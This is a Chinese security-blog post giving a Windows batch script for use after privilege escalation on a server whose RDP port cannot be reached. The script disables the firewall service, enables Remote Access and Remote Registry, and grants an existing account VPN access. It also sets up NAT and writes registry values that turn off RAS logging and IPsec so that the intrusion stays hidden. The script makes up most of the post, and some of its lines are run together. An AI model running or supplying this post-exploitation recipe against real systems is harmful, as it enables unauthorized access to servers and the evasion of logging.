3389终端建VPN淫荡连接方法 |

  • A+
所属分类：Seay信息安全博客

显示不全请点击全屏阅读

我们经常遇到服务器开了3389，又是外网IP，又终端不了， 今天看到一个比较淫荡的方法，就是用提权工具执行一个建立vpn的批处理，然后再通过内网IP访问服务器

命令行开VPN批处理(BAT)：

@echooff
rem 设置服务

sc config sharedaccess start=disabled
net stop SharedAccess
sc config remoteaccess start=auto
net start RemoteAccess
net start lanmanserver
net start RemoteRegistry

rem 开启VPN

netsh rasset uservpnuser permit rem vpnuser改成已存在的某个账户，比如administrator
netsh ras ip add range10.10.1.1 10.10.10.10rem 设置地址池的范围，比如192.168.111.1 192.168.111.11
netsh ras ipset addrassignpool
netsh routing ip nat install
netsh routing ip nat add interface 本地连接 full rem”本地连接”可能是其他名称，最好先ipconfig确认下
netsh routing ip nat add interface 内部 private

netsh routing ip igmp install
netsh routing ip igmp add interface 内部 igmpprototype=IGMPRTRV3ifenabled=enable

robustvar=2startupquerycount=2startupqueryinterval=31genqueryinterval=125

genqueryresptime=10lastmemquerycount=2lastmemqueryinterval=1000accnonrtralertpkts=YES
netsh routing ip igmp add interface name=”本地连接”igmpprototype=IGMPPROXY ifenabled=enable

rem 隐藏日志

Windows Registry Editor Version5.00

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccessParameters]
“LoggingFlags”=dword:00000000

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRasManParameters]
“ProhibitIPsec”=dword:00000001

将以上代码保存为bat文件在命令行下执行，前提是至少有administrator权限。成功开启后会打开TCP的1723端口

来源：http://www.cnhkfx.com/?p=555

Tags：

3389,

如果您喜欢我的博客，欢迎点击图片定订阅到邮箱填写您的邮件地址，订阅我们的精彩内容： 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你，也可微信扫下方二维码打赏本人一杯咖啡
3389终端建VPN淫荡连接方法 |